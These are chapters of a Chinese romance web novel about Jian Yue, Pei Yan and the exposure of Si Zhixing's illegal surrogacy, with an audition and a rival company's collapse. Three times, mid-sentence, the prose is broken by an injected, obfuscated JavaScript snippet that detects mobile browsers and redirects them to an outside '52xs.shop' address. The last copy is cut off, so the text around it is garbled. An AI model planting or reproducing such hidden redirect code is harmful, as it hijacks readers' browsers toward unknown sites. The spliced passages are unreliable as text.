想了想,她将到嘴边的问题换成另一个,看着男人问道:“你知道国内有哪些地方值得一去吗?我爸妈准备出去玩,问我有没有推荐的。” 酝酿了半天竟然是这种问题,裴言微微一愣,接着笑道:“我也不清楚,不过我可以帮你问问。” “不用不用。”她赶紧说,“我也就随口一问,反正他们要玩一两个月,自己慢慢探索也不错。” “这样。”男人拉起她的手,带她向办公桌走去,“对了,证据我理好了,要不要看?” 简月立刻点头,在裴言的椅子上坐下,按照裴言的指示,点开了商密系统。 代孕一事司知行做得很隐秘,细节零碎,又是在二十多年前,简月看着整合好的逻辑线,不由感慨裴言的耐心与细心。 从裴言拼凑好的真相来看,司知行不需要任何女人来分司家的资产,女人只是生孩子的工具,故而他千挑万选,找到一个女人,与她完成了一笔罪恶的金钱交易。 而那个生下来的孩子就是司衡。 难怪司衡从不提起他的母亲。 简月看着丑陋的真相,沉默良久。 严格来说,在这件事中司衡是无辜的,但看到这样的真相,她不由胆寒。 裴言:“是不是吓到你了?” 简月摇头,她只觉得恶心。 她扯一扯裴言的衣袖,轻声道:“我们报警吧。” 让这样的人逍遥二十多年,实在是太便宜他了。 裴言低头看她,牵住她的手,应道:“嗯。” * 十月假期的最后一天,一条爆炸性的热搜词条以惊人的速度攀升着。 震惊了整个江市和创世涉及的所有业务圈。 ——#创世前任总裁司知行涉嫌刑事犯罪# ——#创世法人司知行接受调查中# 29. 骄傲-29% 这条热搜几乎引起了爆炸性的热度。 所有人都被词条里的“刑事犯罪”吸引了眼球,纷纷猜测涉嫌的是什么罪。 但也有人说:“不是接受调查中吗?事情都没查清楚就急着下定论?” 有人反驳:“你以为他们会在没有证据的情况下随便把人带走?要我说,被带走就说明八九不离十了,真刑啊。” 吃瓜群众在热搜下吵得你来我往,好不热闹。 创世的公司楼几乎已经炸了。 人心惶惶,所有员工都在担心司知行的事会不会牵连创世。 只有司衡的总裁办一片安静。 助理低头站在办公桌前,等待着指示。 而司衡坐在办公桌后,眸色冷沉地看着手机上的热搜界面。 司知行被带走的事,他其实比热搜知道得还早一点。 但仅仅早几个小时也来不及做什么了。 知道消息的那一刻,他第一反应是防止这件事泄露出去,否则舆论足以对创世造成重创。 然而幕后推手有备而来,热搜紧接着就跟上。 如今闹到这么大,再压也没用了。 裴言。司衡在心里咀嚼着这个名字。 他都要忍不住对他说一句“漂亮”了。 不愧是他的对手,一击致命,真是漂亮。 他都能猜到裴言接下来会做什么。 无非是利用舆论让他们口碑暴跌,让他们资金周转陷入困难,等某一天资金缺口彻底填不上时,创世也就完了。 要么转让股份被收购,要么宣告破产。 所谓阳谋,就是明知幕后推手的企图和动作,却无力改变,只能狼狈应对。 司衡放下手机,思考着接下来的形势。 严格来说,法人违法是个人行为,不涉及公司,理论上,司知行违法不会对创世造成经济损失,也不会对创世造成影响,但,舆论会。 裴言懂得利用舆论,确实从起点上就领先他们了。 他无力扭转根本,只能在资金周转上与裴言周旋。 舆论再势大,至多也就几月的功夫。 几个月后如果创世能撑下来,他就赢了。 如果没撑下来—— 那就是裴言赢了。 * 简月在办公室默默看了一会儿区评论,放下手机对裴言说:“司衡这会儿应该已经气死了吧。” “不一定。”裴言冷静道,“某些方面他还算沉得住气。” “这样。”简月若有所思地点头,“那调查司知行需要多久?” “七天内吧。”裴言说,“代孕的事会很快暴露出来,漫长的是之后的处理流程。”他淡淡一笑,笃定道,“不用担心,他没机会再出来了。” 听他这么说,简月放下心来,继续问:“那司衡呢?” “司知行的事牵连不到他和创世,想搞垮创世,还是要从资金链入手。” “有把握?” “有把握。” 简月笑了:“那就好。” * 一周后,一条更惹眼的热搜词条出现在了热搜1位。 ——#司知行代孕# 代孕在国内是绝对违法的行为,牵扯着丧失人性毫无道德的黑色产业链。 几乎所有人看到这条热搜的时候都炸了,引发了比上一次更爆炸的热度。 评论区吵翻了天,无数群众强烈谴责着这一行为。 由于司知行身份特殊,并非一般的普通人,公安机关对此也是高度重视。 舆论还在不断发酵,简月翻着词条下的讨论内容,心情沉重。 裴言在桌上放下一杯茶,低头问她:“怎么了,心情不好?” “嗯。”简月低低应了一声,“就是觉得司知行怎么会是这种人,这么不拿女人当人。” 所以司衡才会在他的教育下,也觉得孩子更重要一些吗? “别多想了。”裴言轻轻握住她的手,似在给她安慰和力量,“像他那样丧失人性的人,你理解不了他的想法的,我们能做的,就是给他应有的结局。” 简月默了默,点头。 裴言说得对,他们永远也理解不了司知行的想法的。 因为他们和司知行是不同的人。 想了想,简月又问:“那你说,司衡和那个女人……” 会不会也和司知行一样。 “应该不会。司知行当初的交易对象是个没有家世背景的普通女人,但林曼不是,司衡和林曼更像是商业联姻,资源互换。” ……这样。 所以司衡只是单纯地出轨和脚踏两条船而已。 简月突然觉得厌倦,明明当初她和司衡还是订婚的状态,林家怎么会让女儿抱着商业联姻的目的去接触司衡? 除非他们早就知道她和司衡成不了,早就知道她和司衡会分开。 简月越想越觉得恶心。 她想不通,既然司衡知道迟早会和她分手,为什么在分手前夕,他还能每天装出一副满眼是她、对她用情至深的模样? 渣男! “算了,不提他们了。”简月打起精神笑了笑,“予彤今天杀青了,明天她要来找我,晚上我们再见吧。” “好,正好你跟她说一声,月底记得去参加张导的试镜。” “《男主为何还不杀我》?” “嗯。” 这么快。 当初说要筹备两个月,没想到这段时间一晃而过,月底就要开始试镜选角了。 简月点头,弯起眼睛,半开玩笑地问道:“筹备得怎么样,能挣钱吗?我会不会亏得很惨?” 男人失笑:“怎么会,我只会带你挣钱。” “是吗?能挣多少?”她的手放在他眼尾处,又轻轻摩挲起他的泪痣。 “200%以上,满意吗?” “这么多?”简月佯装惊讶,笑吟吟地看他。 她手下的动作一直没停,摸得他心神不宁,裴言终于忍不住,抬手握住她手腕道:“是,所以我很厉害。” 这简直不像是他会说出来的话。 这么反常,一定是在暗示什么。 简月想了想,微微探身,用另一只手勾住他脖子,覆上了他的唇。 下一秒,她的腰被搂紧,眼前天旋地转,她被男人压在了办公桌上。 他低下头,吻得热烈又急促,亲得她手脚都软了。 身下的办公桌冰凉又坚硬,简月被硌得不舒服,伸手扯了扯他的衬衫。 裴言停下来,离开她的唇,眸色深不见底地盯着她,眼神中颇有不满足的意思。 简月:“桌子硬,不舒服,不来了。” “故意诱惑我?”他开口,声音沙哑。 “哪里故意了,不是你要奖励吗?”她挂在他身上,示意他抱她起来,“怎么,你不是这个意思?” 男人依言抱她起来,放她坐在自己的大腿上,闻言顿了顿,直言:“不够。” “那再来一次?”她盯着他的唇,鬼使神差道。 男人刚刚接过吻的薄唇被水珠浸润,唇角因为被她轻咬过一口而泛起殷红,光线下看,有种别样的诱人。 看得她涌起冲动,想尝一口。 “到我满意为止?”裴言低下头,试探着吻上她的唇角。 简月:“到你满意为止。” 属于他的气息倾轧过来,他探了进来。 男人的怀抱显然比办公桌舒服得多,两人不知吻了多久才分开。 停下的一瞬间,简月轻喘着气,感觉浑身的力气都被掏空了。 她眨了眨眼睛,问裴言:“我们刚才……那么久,应该不会有人过来然后听到吧?” “不会,办公室有隔音。” 简月舒了一口气,放下心来。 “顺便,我给你准备了惊喜,建议你今天早点回家。” “什么惊喜?” “你回家就知道了。”裴言说。 * 回到家,简月特意里里外外转了一圈,没发现有什么不一样,正打算问问裴言,手机就响了。 正是裴言。 她接起电话,男人的声音在耳边响起:“开门。” 简月:“???” 以为是裴言又来找她,简月没多想,来到门口开了门,看到的却是裴言的助理,以及……他身后的五六个大纸箱子。 助理礼貌一笑:“简小姐,裴总让我来给您送东西。” 简月:“什么东西?” 助理:“裴总送您的礼物。” 简月:“???” 什么礼物要装五六个大纸箱子? 等助理帮忙把箱子搬进家,她独自拆开后,总算知道为什么会装五六个箱子了。 是各大品牌的当季所有新品。 一样一件,他全买了。 衣服,首饰,护肤品……他全买了。 简月目瞪口呆地看着客厅里的几个大纸箱,终于意识到这就是裴言所说的“下次她的衣服换他来买”。 刚才拨通的电话还没挂断,简月拿起手机:“还在吗?” “还在。”男人应了声,问她,“礼物看到了吗?喜欢吗?” 简月还没从这堆礼物的震惊中缓过神,哽了哽才道:“你干嘛?钱多得没地方花吗?” “嗯。” 他竟然“嗯”。 “过去几年的确没地方花,不知道买什么,现在有了女朋友……”他顿了顿,“你就当是我补上从前该给你花的钱吧。” 简月抱着手机,久久没有说话。 她竟然不知道说什么。 “怎么不说话了,还在看礼物?” “……”简月回神,慢慢道,“裴言。” “嗯?” “你个傻瓜。” * 第二天姜予彤过来,看到客厅里的大纸箱,露出了同款目瞪口呆表情。 她声音颤抖:“这都是他给你买的?” 简月点头后,她声音抖得更厉害了:“我的老天鹅啊,他也太喜欢你了吧?” “这就能看出他很喜欢我了?” “当然了!”姜予彤睁大眼睛认真道,“你没听说过爱就是金钱吗?没听说过人对喜欢的人就是会库库爆金币吗?他越喜欢你才越舍得疯狂给你花钱啊!” 那倒是。 越有钱的人对于钱的去处反倒越谨慎。 裴言能给她花这么多钱…… 想到此,简月笑了笑:“他是很喜欢我。” “那不是挺好,正好你也喜欢他。” 听到后半句,简月愣了愣,没否决也没承认,转移话题道:“对了,月底的时候张导就要准备试镜选角了,裴言让我提醒你,别忘了。” 提到试镜姜予彤瞬间来了兴趣:“当然不会忘,我后来又把书看了好几遍,把女二的情节挑出来逐字研究,我现在确信没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14244695|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人比我更了解李书仪。” “好啊,那祝你成功。” 姜予彤从纸箱旁站起,蹭蹭蹭跑过来挨着她坐下:“阿月,这个试镜机会是你帮我争取来的,我不知道张导想要的女二究竟是什么样的,但你放心,我会尽最大努力揣摩角色,绝不给你丢脸。” 简月失笑:“只是试镜而已,又不是走后门把角色直接给你,你别给自己那么大压力。” 姜予彤只笑不说话。 她靠上她的肩膀,低声道:“阿月,你真的很好。” 简月拍了拍她手,抱住了她。 * 司知行丑闻被曝出的一个星期后,林曼找上了司衡。 她脸色不太好,眼角微红,像是哭过一样。 助理将她领到办公室后就自觉关门退了出去。 司衡脸色更不好。 这段时间他焦头烂额,睡眠时间急剧减少,眼下的青黑更重了。 偏偏林曼挑这个时候来找他。 司衡喝一口咖啡,淡淡抬眼:“什么事?是不是要取消订婚?” 林曼咬了下唇,委婉道:“如果几个月后创世没撑过去……” 司衡毫不意外,平静道:“知道了,我还有事要忙,你可以出去了。” 林曼却不动。 她站在原地,似乎还有话想说。 司衡又看她一眼:“还有什么事?” “如果我们的订婚取消了,你能不能帮我一个忙?”林曼终于开口。 司衡皱眉:“我看起来很闲吗?” “是关于这个孩子的。”林曼脸色白了白,“当初是你说各取所需,让我告诉大家这个孩子是你的,现在,如果我们订婚取消,他们会要求我打掉这个孩子的。” “司衡,我不能打掉这个孩子,我想要它。” 司衡眉皱得更深:“你想怎样?” “我想生下来,就对他们说孩子生下来给你,然后你帮我把孩子交给他,可以吗?至于你这边,到时随便找个理由说孩子病死了就好,他们不会查的!” “你把孩子交给他……这样,我以后还能找机会去看看这个孩子。” 司衡:“……” 林曼口中的“他”,自然是她的前任,孩子真正的父亲。 但司衡觉得,他还没有闲到这个地步,去干一件吃力不讨好的事。 他收回目光,冷冷道:“无能为力。” 林曼所有的措辞被堵回口中。 她愣愣看着司衡,突然咬牙道:“如果你不帮我,我就去告诉简月!” “你敢!”司衡骤然抬起头。 他放下手中的笔站起身,大步向她走来,俯视着她恶狠狠又重复一遍:“你敢。” 林曼直视着他,笑了:“我为什么不敢,当初说好的各取所需,司衡,你必须帮我。” 司衡眼里浮起怒意,他气极反笑:“林曼,你真有本事。” “谁让简月是你的软肋。”林曼毫不畏惧,轻轻一笑,“司衡,我真的挺不懂你的,有些事你明明没做过,为什么要坚持让她误会你?你那么爱她,为什么非要她恨你?她现在投入你死对头的怀抱了,你开心吗?” 她摇头似替他惋惜:“司衡,你真是个疯子。” 尖锐刻薄的言语仿佛一把刀刺入司衡心脏。 他抬手支上额头,闭了闭眼,直到胸口剧烈的起伏平息下去才冷冷道:“滚出去。” 林曼也不恼,若无其事拉开门准备离开,临走前,她回头看他,笃定道:“你会帮我的。” 门关上后,司衡扬手将门边的衣架打翻在地。 木质衣架倒在地上,发出“咚”的一声响。 外面的助理听到动静,立刻推门而入:“司总,怎么了?” 司衡沉沉吐出一口气,闭眼道:“没什么,你出去吧。” 助理只得关门退出。 司衡没管衣架,转身慢慢走回办公桌后坐下。 他是疯子? 对,他的确是疯子。 司知行根本就不在乎简月,如果他一意孤行,强行和简月在一起,他不敢想司知行会对简月做出什么来。 简月不想要孩子,而他生在这样的司家,就注定不能与她在一起。 可如果他与简月正常分手,数年后,简月还会记得他吗? 会不会连他的样貌和名字都不记得了? 和别人提起过去的时候,会不会最多只记得她有一个初恋男友的存在? 可他这么喜欢她,他怎么甘心啊? 人都说爱恨一体,爱的反面不是恨,而是遗忘。 所以他想,哪怕简月恨他呢。 爱得刻骨铭心也好,恨得刻苦铭心也罢,不都是刻骨铭心吗? 有什么区别。 只要她还能记得他,只要他还能在她心里留下浓墨重彩的一笔,他不在乎是爱还是恨。 他至今都记得见到简月的第一面。 自信,张扬,强大,从容,美丽到让他眩晕。 他几乎对她一见钟情。 所以从第一眼起,他就忍不住为她撑腰,忍不住护短。 司衡想,在她之前和之后,他都不会对第二个人这么心动了。 简月恨他,可以,很好,他完全不介意。 只要她别忘了他。 * 晚上十一点,林曼的手机收到一条来自司衡的消息。 司衡:[可以。] 30. 骄傲-30% 没过多久,听说国内的影视平台为了避风头,纷纷下架了创世的剧。 按裴言的说法,避风头只是暂时的,不出两月,司知行一事的热度下去,平台又会重新上架。 而这两个月,就是他的机会。 譬如创世昨天又抛售了一些小IP,他们的资金链已不容乐观。 而另一边,姜予彤对于月底的试镜可以说是重视到了极致。 她在重要剧情上都做了笔记,记录了非常详细的角色分析。 用她的话来说,李书仪是一个矛盾又复杂的角色,初期的她并不认为书里是一个真实的世界,对角色的生死与结局皆不在乎,唯一的目的就是回家,后来与书中角色不断接触,生出感情,才开始扭转思想,做出改变。 她的每一句话每一次决定都有很多值得深挖的点。 简月看过她的笔记,不得不承认,这个角色相当饱满。 十月底,试镜当天,简月和裴言也去了现场。 为了不影响姜予彤状态,简月没有告诉她他们也在现场,只和张胜张导一起坐在单面镜后,默默旁观。 得益于亚恒的地位和张导的口碑,前来试镜的演员不少。 按张导的习惯,主角都要最后才定,因此先试的都是配角。 轮到姜予彤的时候,简月忍不住坐直了些。 她抽到的是第一场戏,故事的开篇,女主和女二被当做人质那一幕。 时间,一分钟。 无搭戏演员,无实物,仅靠演员的信念感。 姜予彤深吸一口气,跪了下去。 她很快进入状态,脸上露出对未知世界的怯意、想要被救的期待以及对女主的复杂感情。 短短一分钟要表现出这么多情绪是一件很不容易的事,尤其还是第一幕,需要让观众快速建立起角色印象的第一幕。 不能演得太流于表面,也不能演得太用力。 当姜予彤抬眼的那一刻,简月仿佛看到了一个完全不同的人,属于姜予彤的部分在她身上荡然无存。 她彻底进入了李书仪的状态。 同一瞬间,不止简月,连一旁的张导也身体前倾,表现出了兴趣。 六十秒的试镜很快结束,姜予彤结束表演站起来后,张导拉开门径直走向了她。 简月侧身看向裴言:“你觉得怎么样?” 裴言点头:“有天赋,也认真。”他看向单面镜后交谈的两人,“看张导的反应,大概率就是她了。” 简月笑了:“予彤知道一定很高兴。” “嗯,先别急着告诉她,等张导决定了再说。” 简月点头,又回想起刚才姜予彤表演的一分钟。 没有台词,仅靠眼神和动作,就仿佛让观众看到了她挣扎的内心。 她忍不住说:“我突然开始期待这部剧了。” 男人不禁低笑:“要不要预估一下成绩?上次你预测的电影票房就很准。” 《爱的镜头》最终成绩为2.36亿票房,刚好在她预测的两到三亿之间。 “才不呢。”简月笑睨一眼他,“这才开始试镜,演员都没定,我现在预测跟猜盲盒有什么两样,而且上次是我运气好,这次就不一定了。” 她随口说的话,裴言却认真否决道:“不是运气,那是你做了分析判断后得出的结果,简月,你本来就很敏锐聪明。” 她看着男人的眼睛,一时愣了愣,忘了接话。 一句自谦的玩笑话却被他认真反驳,运气之下的思考被他单拎出来肯定承认,不得不说,这个男人真的很会在一些意想不到的地方给她惊喜。 她承认,刚刚那一瞬间,她又心动了。 简月握上男人的手,身体微倾正准备做点什么,门被导演重新打开。 他没注意他们微妙的气氛,坐回椅子上就高声喊道:“下一个!” 简月:“……” 趁张导没发现,她又若无其事地坐了回去。 这一切自然被裴言尽收眼底,他微微扬唇,伸手从后面揽上了简月的肩。 * 那天之后,姜予彤果然收到了二轮试镜的通知。 一周后,剧组正式通知,女二李书仪将由她来出演,不出意外会在一个月后开机,希望接下来的几个月他们合作愉快。 拿到角色那天,姜予彤激动地打来了电话:“阿月,我成功了,我试镜成功了!” 能有这个结果,简月是真心为她高兴:“好啊,那到时候我去找你探班。” 姜予彤连声说“嗯”。 张导名声在外,姜予彤第一次与这样的大导合作,自然极为重视。 离开机还有一个月,她抱着剧本与小说反复研读,竟是怎么叫也叫不出来。 她说难得有这样的机会,一定要好好把握,有什么吃的玩的等她杀青再来好好陪她。 简月表示理解:[演员当然要以演戏为重,没事,你忙吧,等你杀青我们再好好聊。] 姜予彤给她发了个歉疚的表情包,然后说:[虽然接下来这段时间我会比较忙,但你有事还是可以来找我,我随时为你排忧解难^_^] 简月笑了笑,回了个“好”。 * 开机时间定在了12月1日。 裴言知道姜予彤在开机前一个月的档期都为空,做好了被冷落一段时间的准备,却发现简月照旧每天和他见面吃饭,不由好奇:“最近怎么没见你那个朋友?不是说好久没见,你要多陪陪她吗?” 简月正在看手机,随口道:“她在准备新戏,比较忙。” “这样。” “怎么?”她不由抬头,笑看他一眼,“我多和你在一起,你还不高兴?” “怎么会。”他失笑。 简月复又低下头去。 裴言默默看了一会儿简月,若有所思道:“那除了她,其他朋友呢?” 比如那个在英国伦敦喊她简月的朋友。 “淡了,现在联系多的就予彤一个。” “淡了?” 她终于放下手机,好笑看他:“你今天怎么了,这么关心我朋友?你自己不也很少跟Fabien见面吗?” 裴言:“……” 他默了默才道:“没事,就是觉得很久以前见你时,你旁边的人不太像姜予彤。” “哦,那很正常,我和予彤三年前才认识,那会儿我们应该不太熟吧。” “这样。” 裴言没再继续问,简月却看着手里的茶杯陷入了沉思。 三年前她刚回国,在她身边的应该是另一个朋友。 可她们是怎么渐行渐远的呢? 她想了片刻,若有所思地开口:“其实朋友本来就是阶段性的吧。” “我以前也有很多朋友,关系好的时候每天都在一起,每天都有无数事情要分享,可后来因为圈子不同,地理上渐渐拉开差距,慢慢地也就淡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14266307|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 从某一天忙起来忘了联系,到两三天不联系,再到一周,一月,最后彻底变成沉默的列表。 没有刻意,没有故意,没有惊天动地,就只是向前走的过程中,慢慢走散了而已。 简月笑笑:“我一直觉得,虽然我和予彤现在要好些,但总有一天,我们会分开,不再亲密。她有她的演艺路要走,我有家里的公司要管。” 裴言默默看她。 “但也还好,朋友能一起走过一个阶段就已经很不错了,即便以后不见面不联系了,曾经的快乐也是真的,没什么好遗憾的。” “不想去挽留吗?”裴言问。 简月摇头:“有些事强求不来的,圈子不同,交流的时间不够,地理距离,这些客观因素没办法的,接受就好了。” 执意强求,可能会适得其反。 有时候学会接受,笔直地向前走,不沉溺于过去,也是一种勇气。 裴言低眸想了想,握上她的手:“但男朋友不一样。” “怎么?”简月弯了弯眼睛,饶有兴趣地看他。 “听说过龙虾理论吗?”他四指微屈,模仿着龙虾的样子,接着拿起她的手让她的手指也屈成爪状,然后两爪相握,说,“龙虾一旦恋爱,就会白头偕老,等它们老了,就会像现在这样,爪牵着爪,在水缸里散步。” 简月看着两人相握的手,愣怔许久,突然笑了:“裴言,我没发现你是这么幼稚的人。” 这实在太不像他会做出的事了。 身上还是一身严肃的黑西装,在外人面前永远果断雷厉风行,可私下在她这里,却会学着龙虾那样去握她的手,给她讲不知所云的龙虾理论。 然而最神奇的是,面对这样的裴言,她不觉得滤镜破碎,只觉得他可爱。 男人一旦幼稚起来,还真是……可爱。 “你从哪儿听来的龙虾理论?”她笑着问。 “《Friends》里。”裴言看着她,眼神有股异样的认真,“简月,只要你愿意,我们可以永远不分手。” 简月:“……” 她笑容一滞,心脏倏地漏跳一拍。 “一个人可以有很多朋友,但男朋友只会有一个。你说朋友都是阶段性的,都会渐行渐远,但男朋友可以不是。” 友情可以包容其他朋友的存在,但爱情具有排他性,不可否认,大多数爱情走到最后,都会变成比朋友更亲密的存在。 因为唯一,因为排他。 男人握紧她的手,又重复一遍:“只要你愿意,我们可以永远不分手。” ——我可以永远陪在你身边。 室内静得仿佛能听见彼此的心跳。 咚咚咚,咚咚咚。 她忘了抽回自己的手,好一会儿才回神,避而不答道:“现在说这个……是不是太早了?” “不早,我的心意,你越早知道越好。” “真的这么喜欢我?” 裴言点头。 简月却不知怎么接话了。 心跳迅疾地像在飘,她不明白为什么,茫然看他半天,突然道:“我想亲你。” 她看着他的脸,舔了舔嘴角,像中了蛊一样地说道:“裴言,我想亲你。” 下一秒,她被压倒在沙发上,男人的声音落在她耳边:“想亲就亲,打什么报告。” 他的唇覆上来,未说完的半句话没入唇齿之间:“你亲自己的男朋友,天经地义。” 31. 骄傲-31% 又是一个缠绵的吻。 亲到最后,裴言停下来,她又勾住他脖子,喃喃道:“不够,再来。” 是真的不够。 或许是受那句话的影响,她第一次产生了不想和他分开的念头。 直到她筋疲力尽,她才轻轻喘着气问道:“十年后,你还会像现在这样喜欢我吗?” 如果十年后他可以,那一辈子呢,可不可以? 裴言没有正面回答,只是笑:“十年后,你来问我好了。” “我怎么知道十年后我们还在不在一起?万一十年后你和别……” 话未说完,嘴唇就被他用手指轻轻抵住。 “不会。”他说,“只要你想,十年后我们一定还在一起。” 男人眸色柔和,认真道:“你的问题我现在回答了不算,但如果你去问十年后的我,他一定会告诉你——会。” 十年如一日地爱她,本来就是他一直在做的事。 简月笑了。 她倾身吻在他的泪痣上,应道:“好啊,那我十年后问你,你不许不答。” 如果十年后她和裴言还在一起的话。 虽然十年是她主动挑起的话题,但坦白说,她不太信。 因为司衡也对她说过永远。 他吻在她的额头上,在闪烁的星幕下,对她说永远。 永远喜欢她,永远爱她。 她不信裴言的回答,可是他这么说了,她就忍不住跟着应了。 应完才反应过来,真的会有十年后吗? 她和司衡连三年都没撑过。 对了,她和司衡是因为什么分手的来着? …… 简月随口应完,以为话题会就此结束,却不想裴言看她的眼神仿佛被触动一样,让她有种他在颤抖的错觉。 手指在颤抖,嘴唇在颤抖,瞳仁在颤抖。 错觉一闪而逝,他闭上眼,伸手抱住她,笑着说:“好。” “十年后,我等你来问我。” * 那天之后,裴言对她更纵容了。 亚恒的总裁办俨然成了她第二个家。 她在影视方面涉猎不深,认知没有裴言精准,裴言便会手把手地教她。 甚至于,他会给她建议,哪些类型能投,哪些类型不能投。 即使投资的对象不是亚恒。 对于她,男人好像真的一点避讳都没有,无论他在接电话还是看文件,她永远可以想进就进,想走就走。 反正他不会对她生气。 这期间,听说创世的资金越来越紧张,连《星河》都卖了。 抛售价4300万,相比当初的竞拍价,亏损整整1500万。 创世在垂死挣扎,亚恒这边仍是岁月静好,有条不紊地运转着,丝毫不受影响。 业内嗅到了风向,也渐渐不再把亚恒与创世相提并论。 不知不觉间,亚恒有了越过创世的趋势。 翻看近几个月的分析报告,简月隐隐有种预感,司衡就要穷途末路了。 她不觉得可惜,只觉得本该如此。 司知行心术不正,做了伤天害理的事,司家垮了第一步,后面即便不是裴言,也会是别人来分这块蛋糕。 丛林法则,弱肉强食,向来如此。 随着创世走向落败,简月发现她心里的那口气也散了。 她过得很好,而司衡过得不好。 她以为这就是她和司衡的结局,却没想到,就在几天后,她又一次见到了司衡。 * 那天她去医院,帮出门在外的简怀英和江颖取药,买完药下到一楼,不期然看见了一对熟悉的男女,司衡和林曼。 林曼肚子又大了些,她扶着自己的腰,脸上心事重重,而司衡站在她旁边,皱眉看着病历。 他们按了电梯,应该是准备去楼上的产科产检。 简月站在手扶电梯旁,不知怎的,没有立即走开。 她很久没有见过司衡了。 印象里,司衡是个极重体面和个人形象的人,可如今,男人的眼下有一层深深的青黑,面容憔悴,与过去意气风发的他简直判若两人。 她从来没有见过这么狼狈的司衡。 理智上,她知道是最近创世的事让司衡心烦意乱,但感性上,她不受控地又看了看林曼的肚子。 那里面正在孕育一个茁壮有力的新生命。 几个月前,司衡因为这个孩子绿了她,如今司知行境遇难料,创世的资金链不容乐观,这样腹背受敌的情况下,司衡竟然还能牺牲休息时间,来陪林曼做产检。 他真的……这么想要一个孩子吗? 简月歪了歪头,直到司衡与林曼走进电梯,才慢吞吞提着药向外走去。 她走到停车的位置,准备上车回家,却不知想起什么,又收回手,转而取出手机。 几秒钟的铃声过后,裴言接起电话:“怎么了?” “裴言。”简月笑了笑,“你能来接我吗?” “你在哪儿?” “市中心医院。”她说完又补充,“不要助理,就要你,你一个人来接我,可以吗?” “好,我十五分钟后到。” 挂断电话,简月放下药,又从停车的位置走回了医院正门。 已经十一月末了,寒风萧瑟,街上的行人个个手揣兜,瑟缩着脖子,恨不得将整个人都缩进衣服里。 简月也觉得有点冷,她哈一口气,低头搓了搓自己的手。 冷风直往脖子里灌,她开始后悔今天没戴围巾出来。 裴言是提前两分钟到的。 他一眼看见她,把车停好后,疾步走了过来。 双手被他握在掌心里取暖,裴言看着她问:“怎么一个人来医院?哪里不舒服,为什么不叫我?” 简月摇头:“不是,我没事,只是来帮爸妈的一个朋友取药。” “……”裴言松一口气,“你吓死我了。” 接着他笑了,伸手替她理了下凌乱的碎发,问道:“是不是要我送你回家?” 男人掌心温度滚烫,擦过她额角的时候,她的心好像也跟着烫了一下。 简月想了想,不答反问:“你今天忙吗?” “还好,怎么了?” “能陪我逛逛街吗?不久,就两三个小时。” 裴言意外了一瞬,接着点头:“好,去哪里逛?” “就在这附近,我想随便走走,压压马路,可是一个人太无聊。” 他笑了,握着她的手放进自己的大衣口袋:“那我陪你。” 简月“嗯”了声,跟着笑了。 很奇怪,就在刚刚那一个瞬间,她觉得自己的心情好了点。 两人沿着街边走,走得很慢。 路上看到一个奶茶店,她望了几眼,心血来潮道:“我想喝奶茶。” 听说甜食能使人心情变好,她觉得自己的身体在渴望甜食。 裴言点头:“好,我去给你买。” 工作日的奶茶店人不多,一杯热奶茶很快就做好,简月接过喝了一口,沉默下来。 不是很好喝。 这是她第一次喝奶茶,总觉得奶香也不对,茶香也不对,混在一起甜度倒是够了,后劲儿却腻得慌。 她捧着奶茶走出奶茶店,对裴言说:“不好喝。” “不好喝就算了,我帮你扔了。” “别。”眼看男人要拿过去扔了,简月急忙拦住,“太浪费了。” 裴言看她片刻,说:“那我喝吧。” 他极自然地咬上被她咬过的吸管,喝完了那杯奶茶。 简月:“……” 她的脸火辣辣地烧起来,明明什么都没有发生,却有种被他亲了的感觉。 就像间接接吻一样。 甚至她的嘴里出现幻觉,好像尝到了他的味道。 简月慌张别过头。 扔掉空的奶茶杯,继续向前走,又遇到一家卖红薯的店。 红薯的香味儿散在空气里,让她想吃甜食的心又开始蠢蠢欲动。 简月扯扯裴言的袖子:“我想吃红薯。” “好,我去给你买。” 男人买来滚烫的烤红薯递给她,简月咬了一口,又沉默下来。 还是不好吃。 和散在空气里的香味儿简直是两个味道,腻得她难受。 她摇摇头:“我不想吃了。” 这次裴言没再提扔的事,只是自然接过她手里的红薯,温柔道:“没关系,我吃吧。” 他咬在她咬过的地方,牵起她的手,继续沿着路边逛。 简月沉默地跟着他走,觉得自己好像矫情病犯了。 奶茶是她要喝的,红薯也是她要吃的,可最后的结果是她什么都没吃完。 仿佛变成了一个无理取闹的女人,上班时间把裴言叫出来陪她,就为了折磨他。 她明明不想这样的。 她好像不开心,可她不知道为什么。 又走了一段路,远远的,简月看到一个老奶奶端了凳子坐在店门口,正在织围巾。 阳光洒下来落在她身上,无端有种温暖的感觉。 简月看着她,拢了拢自己的衣领,突然说:“裴言,我想要一条围巾。” “嗯?想要什么样的?” “想要你织的,可以吗?” 男人意外,停下来看她,眼里闪过一点笑意:“虽然我很高兴你把我想得这么无所不能,但我还是要说,我不会织围巾,你想要我织的话,恐怕要等一段时间,等我学会了才行。” “不是,你看那边。”简月指了指老奶奶的方向,“那个奶奶在织围巾,我看她织得挺好的,你可以找她学。” “这么急?现在就想要?” “对,现在就想要。” 她回答得很坚定,裴言看着她想了想,答应道:“好。” 两人走近,走到门口时才发现老奶奶开的是一家毛线店。 除了各式各样五颜六色的毛线,还有用来织东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 